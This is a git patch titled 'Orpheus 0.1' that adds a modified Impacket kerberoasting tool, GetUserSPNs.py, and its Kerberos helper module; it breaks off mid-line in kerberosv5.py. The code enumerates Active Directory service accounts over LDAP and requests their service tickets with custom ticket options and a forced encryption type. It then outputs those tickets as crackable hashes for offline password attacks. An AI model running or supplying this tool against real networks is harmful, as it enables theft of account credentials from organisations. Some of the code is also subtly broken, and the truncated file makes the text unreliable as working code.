From 43e7aef468c6baf3cc39f87eafe50f16ec7c1a3f Mon Sep 17 00:00:00 2001 From: System Administrator Date: Wed, 16 Nov 2022 10:38:03 -0500 Subject: [PATCH] Uploading Orpheus 0.1 --- GetUserSPNs.py | 557 +++++++++++++++++++++++++++++++++++++ kerberosv5.py | 740 +++++++++++++++++++++++++++++++++++++++++++++++++ orpheus.py | 168 +++++++++++ 3 files changed, 1465 insertions(+) create mode 100644 GetUserSPNs.py create mode 100644 kerberosv5.py create mode 100644 orpheus.py diff --git a/GetUserSPNs.py b/GetUserSPNs.py new file mode 100644 index 0000000..3d7f600 --- /dev/null +++ b/GetUserSPNs.py @@ -0,0 +1,557 @@ +#!/usr/bin/python3 +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# +# Description: +# This module will try to find Service Principal Names that are associated with normal user account. +# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request +# will encrypt the ticket with the account the SPN is running under, this could be used for an offline +# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. +# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at +# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf +# +# Original idea of implementing this in Python belongs to @skelsec and his +# https://github.com/skelsec/PyKerberoast project +# +# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key. +# Also, disabled accounts won't be shown. +# +# ToDo: +# [X] Add the capability for requesting TGS and output them in JtR/hashcat format +# [X] Improve the search filter, we have to specify we don't want machine accounts in the answer +# (play with userAccountControl) +# +from __future__ import division +from __future__ import print_function +import argparse +import logging +import os +import sys +import pkg_resources +from datetime import datetime +from binascii import hexlify, unhexlify + +from pyasn1.codec.der import decoder +from impacket import version +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.krb5 import constants +from impacket.krb5.asn1 import TGS_REP +from impacket.krb5.ccache import CCache +from kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.krb5.types import Principal +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection +from impacket.ntlm import compute_lmhash, compute_nthash + + +class GetUserSPNs: + @staticmethod + def printTable(items, header): + colLen = [] + for i, col in enumerate(header): + rowMaxLen = max([len(row[i]) for row in items]) + colLen.append(max(rowMaxLen, len(col))) + + outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) + + # Print header + print(outputFormat.format(*header)) + print(' '.join(['-' * itemLen for itemLen in colLen])) + + # And now the rows + for row in items: + print(outputFormat.format(*row)) + + def __init__(self, username, password, user_domain, target_domain, cmdLineOptions): + self.__username = username + self.__password = password + self.__domain = user_domain + self.__targetDomain = target_domain + self.__lmhash = '' + self.__nthash = '' + self.__outputFileName = cmdLineOptions.outputfile + self.__usersFile = cmdLineOptions.usersfile + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + self.__requestTGS = cmdLineOptions.request + self.__kdcHost = cmdLineOptions.dc_ip + self.__saveTGS = cmdLineOptions.save + self.__requestUser = cmdLineOptions.request_user + self.__options = cmdLineOptions.options + self.__encryption = cmdLineOptions.encryption + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__targetDomain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + # We can't set the KDC to a custom IP when requesting things cross-domain + # because then the KDC host will be used for both + # the initial and the referral ticket, which breaks stuff. + if user_domain != target_domain and self.__kdcHost: + logging.warning('DC ip will be ignored because of cross-domain targeting.') + self.__kdcHost = None + + def getMachineName(self): + if self.__kdcHost is not None and self.__targetDomain == self.__domain: + s = SMBConnection(self.__kdcHost, self.__kdcHost) + else: + s = SMBConnection(self.__targetDomain, self.__targetDomain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise 'Error while anonymous logging into %s' + else: + try: + s.logoff() + except Exception: + # We don't care about exceptions here as we already have the required + # information. This also works around the current SMB3 bug + pass + return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName()) + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def getTGT(self, encType): + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except: + # No cache present + pass + else: + # retrieve user and domain information from CCache file if needed + if self.__domain == '': + domain = ccache.principal.realm['data'] + else: + domain = self.__domain + logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) + principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) + creds = None + if ccache: + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + logging.debug('Using TGT from cache') + return TGT + else: + logging.debug("No valid credentials found in cache. ") + + # No TGT in cache, request it + userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the + # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the + # cleartext password. + # If no clear text password is provided, we just go with the defaults. + + if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''): + try: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, + compute_lmhash(self.__password), + compute_nthash(self.__password), self.__aesKey, + kdcHost=self.__kdcHost, encType=encType) + except Exception as e: + logging.debug('TGT: %s' % str(e)) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), + unhexlify(self.__nthash), self.__aesKey, + kdcHost=self.__kdcHost, encType=encType) + + else: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), + unhexlify(self.__nthash), self.__aesKey, + kdcHost=self.__kdcHost, encType=encType) + TGT = {} + TGT['KDC_REP'] = tgt + TGT['cipher'] = cipher + TGT['sessionKey'] = sessionKey + + return TGT + + def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): + decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + + # According to RFC4757 (RC4-HMAC) the cipher part is like: + # struct EDATA { + # struct HEADER { + # OCTET Checksum[16]; + # OCTET Confounder[8]; + # } Header; + # OCTET Data[0]; + # } edata; + # + # In short, we're interested in splitting the checksum and the rest of the encrypted data + # + # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) + # last 12 bytes of the encrypted ticket represent the checksum of the decrypted + # ticket + if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + if fd is None: + print(entry) + else: + fd.write(entry+'\n') + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) + if fd is None: + print(entry) + else: + fd.write(entry+'\n') + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) + if fd is None: + print(entry) + else: + fd.write(entry+'\n') + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + if fd is None: + print(entry) + else: + fd.write(entry+'\n') + else: + logging.error('Skipping %s/%s due to incompatible e-type %d' % ( + decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], + decodedTGS['ticket']['enc-part']['etype'])) + + if self.__saveTGS is True: + # Save the ticket + logging.debug('About to save TGS for %s' % username) + ccache = CCache() + try: + ccache.fromTGS(tgs, oldSessionKey, sessionKey ) + ccache.saveFile('%s.ccache' % username) + except Exception as e: + logging.error(str(e)) + + def run(self): + if self.__usersFile: + self.request_users_file_TGSs() + return + + if self.__doKerberos: + target = self.getMachineName() + else: + if self.__kdcHost is not None and self.__targetDomain == self.__domain: + target = self.__kdcHost + else: + target = self.__targetDomain + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + except ldap.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + else: + raise + + # Building the search filter + searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer))" + + if self.__requestUser is not None: + searchFilter += '(sAMAccountName:=%s))' % self.__requestUser + else: + searchFilter += ')' + + try: + resp = ldapConnection.search(searchFilter=searchFilter, + attributes=['servicePrincipalName', 'sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=100000) + except ldap.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + raise + + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + SPNs = [] + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + delegation = '' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = str(attribute['vals'][0]) + if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: + delegation = 'unconstrained' + elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = 'constrained' + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'servicePrincipalName': + for spn in attribute['vals']: + SPNs.append(str(spn)) + + if mustCommit is True: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + logging.debug('Bypassing disabled account %s ' % sAMAccountName) + else: + for spn in SPNs: + answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation]) + except Exception as e: + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + if len(answers)>0: + self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon", "Delegation"]) + print('\n\n') + + if self.__requestTGS is True or self.__requestUser is not None: + # Let's get unique user names and a SPN to request a TGS for + users = dict( (vals[1], vals[0]) for vals in answers) + + # Check for forced encryption + enctype = self.__encryption + + # Get a TGT for the current user + TGT = self.getTGT(enctype) + + if self.__outputFileName is not None: + fd = open(self.__outputFileName, 'w+') + else: + fd = None + + print("Orpheus custom ticket options") + print("") + + print("Setting encryption to eType " + str(enctype)) + + # convert hex to binary + kdcopt = self.__options + if kdcopt == None: + kdcopt = "0x40810010" + + scale = 16 + kdcbin = bin(int(kdcopt, scale))[2:].zfill(32) + + # enable options based on binary (left to right) + opt = list() + idx = -1 + for b in kdcbin: + idx += 1 + if int(b) == 1: + print("Adding " + constants.KDCOptions(idx).name) + opt.append(constants.KDCOptions(idx).value) + + print("") + + for user, SPN in users.items(): + sAMAccountName = user + downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName + + try: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value + principalName.components = [downLevelLogonName] + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, + self.__kdcHost, + TGT['KDC_REP'], TGT['cipher'], + TGT['sessionKey'], opt, enctype) + self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.__targetDomain + "/" + sAMAccountName, fd) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Principal: %s - %s' % (downLevelLogonName, str(e))) + + if fd is not None: + fd.close() + + else: + print("No entries found!") + + def request_users_file_TGSs(self): + + with open(self.__usersFile) as fi: + usernames = [line.strip() for line in fi] + + self.request_multiple_TGSs(usernames) + + def request_multiple_TGSs(self, usernames): + # Get a TGT for the current user + TGT = self.getTGT() + + if self.__outputFileName is not None: + fd = open(self.__outputFileName, 'w+') + else: + fd = None + + for username in usernames: + try: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value + principalName.components = [username] + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, + self.__kdcHost, + TGT['KDC_REP'], TGT['cipher'], + TGT['sessionKey']) + self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Principal: %s - %s' % (username, str(e))) + + if fd is not None: + fd.close() + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + + try: + version = pkg_resources.get_distribution('impacket').version + except pkg_resources.DistributionNotFound: + version = "?" + print("Cannot determine Impacket version. " + "If running from source you should at least run \"python setup.py egg_info\"") + BANNER = "Impacket v{} - Copyright 2022 SecureAuth Corporation\n\nOrpheus Edition - Written by Ben0xA\n".format(version) + print(BANNER) + + + parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running " + "under a user account") + + parser.add_argument('target', action='store', help='domain/username[:password]') + parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' + 'Allows for Kerberoasting across trusts.') + parser.add_argument('-usersfile', help='File with user per line to test') + parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them ' + 'in JtR/hashcat format (default False)') + parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated ' + 'to the user specified (just the username, no domain needed)') + parser.add_argument('-save', action='store_true', default=False, help='Saves TGS requested to disk. Format is ' + '.ccache. Auto selects -request') + parser.add_argument('-outputfile', action='store', + help='Output filename to write ciphers in JtR/hashcat format') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) ' + 'specified in the target parameter. Ignored' + 'if -target-domain is specified.') + + orph = parser.add_argument_group('orpheus') + orph.add_argument('-options', action="store", metavar="hex value", default="0x40810010", help='The hexadecimal value to send to the Kerberos Ticket Granting Service (TGS).') + orph.add_argument('-encryption', action="store", metavar="18 or 23", default="23", help='Set encryption to AES256 (18) or RC4 (23).') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + userDomain, username, password = parse_credentials(options.target) + + if userDomain == '': + logging.critical('userDomain should be specified!') + sys.exit(1) + + if options.target_domain: + targetDomain = options.target_domain + else: + targetDomain = userDomain + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.save is True or options.outputfile is not None: + options.request = True + + try: + executer = GetUserSPNs(username, password, userDomain, targetDomain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) diff --git a/kerberosv5.py b/kerberosv5.py new file mode 100644 index 0000000..ca63ae8 --- /dev/null +++ b/kerberosv5.py @@ -0,0 +1,740 @@ +# SECUREAUTH LABS. Copyright 2019 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# Helper functions for kerberos +# Just starting, TONS of things to do +# In fact, make it easier +# + +import datetime +import random +import socket +import struct +import os + +from pyasn1.codec.der import decoder, encoder +from pyasn1.error import PyAsn1Error +from pyasn1.type.univ import noValue +from six import b +from binascii import unhexlify, hexlify + +from impacket.krb5.asn1 import AS_REQ, AP_REQ, TGS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, PA_ENC_TS_ENC, AS_REP, TGS_REP, \ + EncryptedData, Authenticator, EncASRepPart, EncTGSRepPart, seq_set, seq_set_iter, KERB_ERROR_DATA, METHOD_DATA, \ + ETYPE_INFO2, ETYPE_INFO, AP_REP, EncAPRepPart +from impacket.krb5.types import KerberosTime, Principal, Ticket +from impacket.krb5.gssapi import CheckSumField, GSS_C_DCE_STYLE, GSS_C_MUTUAL_FLAG, GSS_C_REPLAY_FLAG, \ + GSS_C_SEQUENCE_FLAG, GSS_C_CONF_FLAG, GSS_C_INTEG_FLAG +from impacket.krb5 import constants +from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum +from impacket.smbconnection import SessionError +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID +from impacket.krb5.gssapi import KRB5_AP_REQ +from impacket import nt_errors, LOG +from impacket.krb5.ccache import CCache + +# Our random number generator +try: + rand = random.SystemRandom() +except NotImplementedError: + rand = random + pass + +def sendReceive(data, host, kdcHost): + if kdcHost is None: + targetHost = host + else: + targetHost = kdcHost + + messageLen = struct.pack('!i', len(data)) + + LOG.debug('Trying to connect to KDC at %s' % targetHost) + try: + af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0] + s = socket.socket(af, socktype, proto) + s.connect(sa) + except socket.error as e: + raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e) + + s.sendall(messageLen + data) + + recvDataLen = struct.unpack('!i', s.recv(4))[0] + + r = s.recv(recvDataLen) + while len(r) < recvDataLen: + r += s.recv(recvDataLen-len(r)) + + try: + krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0]) + except: + return r + + if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value: + raise krbError + + return r + +def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, encType=None): + + # Convert to binary form, just in case we're receiving strings + if isinstance(lmhash, str): + try: + lmhash = unhexlify(lmhash) + except TypeError: + pass + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + + asReq = AS_REQ() + + domain = domain.upper() + serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + pacRequest = KERB_PA_PAC_REQUEST() + pacRequest['include-pac'] = requestPAC + encodedPacRequest = encoder.encode(pacRequest) + + asReq['pvno'] = 5 + asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) + + asReq['padata'] = noValue + asReq['padata'][0] = noValue + asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) + asReq['padata'][0]['padata-value'] = encodedPacRequest + + reqBody = seq_set(asReq, 'req-body') + + opts = list() + opts.append( constants.KDCOptions.forwardable.value ) + opts.append( constants.KDCOptions.renewable.value ) + opts.append( constants.KDCOptions.proxiable.value ) + reqBody['kdc-options'] = constants.encodeFlags(opts) + + seq_set(reqBody, 'sname', serverName.components_to_asn1) + seq_set(reqBody, 'cname', clientName.components_to_asn1) + + if domain == '': + raise Exception('Empty Domain not allowed in Kerberos') + + reqBody['realm'] = domain + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['rtime'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = rand.getrandbits(31) + + # Yes.. this shouldn't happen but it's inherited from the past + if aesKey is None: + aesKey = b'' + + if nthash == b'': + # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, + # but I found some systems that accepts all ciphers, and trigger an error + # when requesting subsequent TGS :(. More research needed. + # So, in order to support more than one cypher, I'm setting aes first + # since most of the systems would accept it. If we're lucky and + # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. + if aesKey != b'': + if len(aesKey) == 32: + supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) + else: + supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) + else: + supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) + else: + # We have hashes to try, only way is to request RC4 only + supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) + + if encType: + supportedCiphers = (int(encType),) + seq_set_iter(reqBody, 'etype', supportedCiphers) + + message = encoder.encode(asReq) + + try: + r = sendReceive(message, domain, kdcHost) + except KerberosError as e: + if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + if supportedCiphers[0] in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) and aesKey == b'': + supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) + + seq_set_iter(reqBody, 'etype', supportedCiphers) + message = encoder.encode(asReq) + r = sendReceive(message, domain, kdcHost) + else: + raise + else: + raise + + # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the + # 'Do not require Kerberos preauthentication' set + preAuth = True + try: + asRep = decoder.decode(r, asn1Spec = KRB_ERROR())[0] + except: + # Most of the times we shouldn't be here, is this a TGT? + asRep = decoder.decode(r, asn1Spec=AS_REP())[0] + # Yes + preAuth = False + + encryptionTypesData = dict() + salt = '' + if preAuth is False: + # In theory, we should have the right credentials for the etype specified before. + methods = asRep['padata'] + encryptionTypesData[supportedCiphers[0]] = salt # handle RC4 fallback, we don't need any salt + tgt = r + else: + methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0] + + for method in methods: + if method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: + etypes2 = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO2())[0] + for etype2 in etypes2: + try: + if etype2['salt'] is None or etype2['salt'].hasValue() is False: + salt = '' + else: + salt = etype2['salt'].prettyPrint() + except PyAsn1Error: + salt = '' + + encryptionTypesData[etype2['etype']] = b(salt) + elif method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value: + etypes = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO())[0] + for etype in etypes: + try: + if etype['salt'] is None or etype['salt'].hasValue() is False: + salt = '' + else: + salt = etype['salt'].prettyPrint() + except PyAsn1Error: + salt = '' + + encryptionTypesData[etype['etype']] = b(salt) + + enctype = supportedCiphers[0] + + cipher = _enctype_table[enctype] + + # Pass the hash/aes key :P + if nthash != b'' and (isinstance(nthash, bytes) and nthash != b''): + key = Key(cipher.enctype, nthash) + elif aesKey != b'': + key = Key(cipher.enctype, aesKey) + else: + key = cipher.string_to_key(password, encryptionTypesData[enctype], None) + + if preAuth is True: + if enctype in encryptionTypesData is False: + raise Exception('No Encryption Data Available!') + + # Let's build the timestamp + timeStamp = PA_ENC_TS_ENC() + + now = datetime.datetime.utcnow() + timeStamp['patimestamp'] = KerberosTime.to_asn1(now) + timeStamp['pausec'] = now.microsecond + + # Encrypt the shyte + encodedTimeStamp = encoder.encode(timeStamp) + + # Key Usage 1 + # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the + # client key (Section 5.2.7.2) + encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) + + encryptedData = EncryptedData() + encryptedData['etype'] = cipher.enctype + encryptedData['cipher'] = encriptedTimeStamp + encodedEncryptedData = encoder.encode(encryptedData) + + # Now prepare the new AS_REQ again with the PADATA + # ToDo: cannot we reuse the previous one? + asReq = AS_REQ() + + asReq['pvno'] = 5 + asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) + + asReq['padata'] = noValue + asReq['padata'][0] = noValue + asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) + asReq['padata'][0]['padata-value'] = encodedEncryptedData + + asReq['padata'][1] = noValue + asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) + asReq['padata'][1]['padata-value'] = encodedPacRequest + + reqBody = seq_set(asReq, 'req-body') + + opts = list() + #opts.append( constants.KDCOptions.forwardable.value ) + #opts.append( constants.KDCOptions.renewable.value ) + opts.append( constants.KDCOptions.proxiable.value ) + reqBody['kdc-options'] = constants.encodeFlags(opts) + + seq_set(reqBody, 'sname', serverName.components_to_asn1) + seq_set(reqBody, 'cname', clientName.components_to_asn1) + + reqBody['realm'] = domain + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['rtime'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = rand.getrandbits(31) + + seq_set_iter(reqBody, 'etype', ( (int(cipher.enctype),))) + + try: + tgt = sendReceive(encoder.encode(asReq), domain, kdcHost) + except Exception as e: + if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0: + if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None): + from impacket.ntlm import compute_lmhash, compute_nthash + lmhash = compute_lmhash(password) + nthash = compute_nthash(password) + return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC) + raise + + + asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] + + # So, we have the TGT, now extract the new session key and finish + cipherText = asRep['enc-part']['cipher'] + + if preAuth is False: + # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. + LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'],clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]), + hexlify(asRep['enc-part']['cipher'].asOctets()[16:])) ) + # Key Usage 3 + # AS-REP encrypted part (includes TGS session key or + # application session key), encrypted with the client key + # (Section 5.4.2) + try: + plainText = cipher.decrypt(key, 3, cipherText) + except InvalidChecksum as e: + # probably bad password if preauth is disabled + if preAuth is False: + error_msg = "failed to decrypt session key: %s" % str(e) + raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) + raise + encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] + + # Get the session key and the ticket + cipher = _enctype_table[encASRepPart['key']['keytype']] + sessionKey = Key(cipher.enctype,encASRepPart['key']['keyvalue'].asOctets()) + + # ToDo: Check Nonces! + + return tgt, cipher, key, sessionKey + +def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey, options, encType): + + # Decode the TGT + try: + decodedTGT = decoder.decode(tgt, asn1Spec = 